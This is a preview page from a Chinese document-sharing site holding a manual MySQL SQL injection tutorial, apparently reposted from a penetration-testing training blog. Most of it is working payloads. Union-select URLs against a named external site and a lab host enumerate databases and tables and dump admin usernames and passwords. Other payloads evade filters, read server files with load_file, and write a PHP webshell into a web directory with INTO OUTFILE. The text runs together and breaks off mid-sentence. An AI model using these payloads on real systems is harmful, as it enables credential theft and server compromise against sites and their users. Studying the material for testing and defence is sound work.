资源预览内容
第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
亲,该文档总共6页全部预览完了,如果喜欢就下载吧!
资源描述
Sql 手工注入1, 判断是否存在漏洞:a) http:/cleopatra-sy.com/index.php?content=more_product&id=17b)c)http:/cleopatra-sy.com/index.php?content=more_product&id=17 and 1=1正常d)http:/cleopatra-sy.com/index.php?content=more_product&id=17 and 1=2报错语句: and 1=1;2, 查询字段数a)b)http:/cleopatra-sy.com/index.php?content=more_product&id=17 order by 6正常c)http:/cleopatra-sy.com/index.php?content=more_product&id=17 order by 7错误采用方法判断字段数在字段数边缘得到字段值语句: Order by num3, 设置字段A) http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6, 7,8,9,10,11B) 在网页上得到相应的字段分布4, 获得数信息A)http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,group_concat(version(),database(),user(),9,10,11B) 当然可以分开放group concat5, 获得库信息http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6, 7,group_concat(0x7c,schema_name),9,10,11%20from%20information_schema.schemata6, 获得表名http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,grou p_concat(0x7c,table_name),9,10,11%20from%20information_schema.tables%20where%20table_schema=%22phplyb%22%22 为引号,表名需要用引号括起来7, 获得字段http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,grou p_concat(0x7c,column_name),9,10,11%20from%20information_schema.columns%20where %20table_name=%22admin%22%20and%20table_schema=%22phplyb%228, 获得表数据http:/10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,concat_ws(0x7c,id,username,password),9,10,11%20from%20phplyb.admin最近给某单位培训渗透测试方面的东西,把旧博客的文章转过来,学习一下。.目录:0x00 mysql 一般注入 (select)0x01 mysql 一般注入 (insert 、 update)0x02 mysql 报错注入0x03 mysql 一般盲注0x04 mysql 时间盲注0x05 mysql 其他注入技巧0x06 mysql 数据库版本特性0x07 声明SQL注入正文:0x00 mysql 一般注入 (select)1.注释符#/*-2.过滤空格注入使用 /*/ 或 ()或 +代替空格%0c = form feed, new page%09 = horizontal tab%0d = carriage return%0a = line feed, new line3.多条数据显示concat()group_concat()concat_ws().4.相关函数system_user() 系统用户名user() 用户名current_user当前用户名session_user()连接数据库的用户名database() 数据库名version() MYSQL数据库版本load_file() MYSQL 读取本地文件的函数datadir读取数据库路径basedir MYSQL 安装路径version_compile_os操作系统Windows Server 2003GRANT ALL PRIVILEGESON *.* TO root% IDENTIFIED BY 123456 WITH GRANT OPTION;5.mysql 一般注入语句猜字段数order by n/*查看 mysql 基本信息and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version(),5,6,7/*查询数据库and 1=2 union select 1,schema_name,3,4 frominformation_schema.schematalimit1,1/*and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*查询表名and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema= 数据库的 16 进制编码 limit 1,1/*and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema= 数据库的 16 进制编码 /*查询字段.and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name= 表名的十六进制编码 and table_schema= 数据库的 16 进制编码 limit 1,1/*and1=2unionselect1,2,3,4,group_concat(column_name),5,6,7frominformation_schema.columns where table_name= 表 名 的 十 六 进 制 编 码 and table_schema= 数据库的 16 进制编码 /*查询数据and 1=2 union select 1,2,3, 字段 1,5,字段 2,7,8 from数据库 .表 /*判断是否具有读写权限and (select count(*) from mysql.user)0/*and (select count(file_priv) from mysql.user)0/*6.mysql 读取写入文件必备条件:读: file 权限必备写: 1.绝对路径2.union 使用3. 可以使用 - 读 -mysql3.x 读取方法create table a(cmd text);load data infile c:xxxxxxxxx.txt into table a;select * from a;mysql4.x 读取方法除上述方法还可以使用load_file()create table a(cmd text);insert into a(cmd) values(load_file(c:ddddddddd.txt);.select * from a;mysql5.x 读取方法上述两种都可以读取文件技巧:load_file(char(32,26,56,66)load_file(0x633A5C626F6F742E696E69)- 写 -into outfile 写文件unionselect 1,2,3,char( 这里写入你转换成10 进制或16 进制的一句话木马代码 ),5,6,7,8,9,10,7 into outfile d:web90team.php/*unionselect1,2,3,load_file(d:weblogo123.jpg),5,6,7,8,9,10,7intooutfiled:web90team.php/*0x01 mysql 一般注入 (insert 、 update)mysql 一般请求 mysql_query 不支持多语句执行,mysqli 可以。insert 注入多使用报错注入!1.如果可以直接插入管理员可以直接使用!insert into user(username,password) values(xxxx, xxxx),(dddd,dddd)/* );2.如果可以插入一些
收藏 下载该资源
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号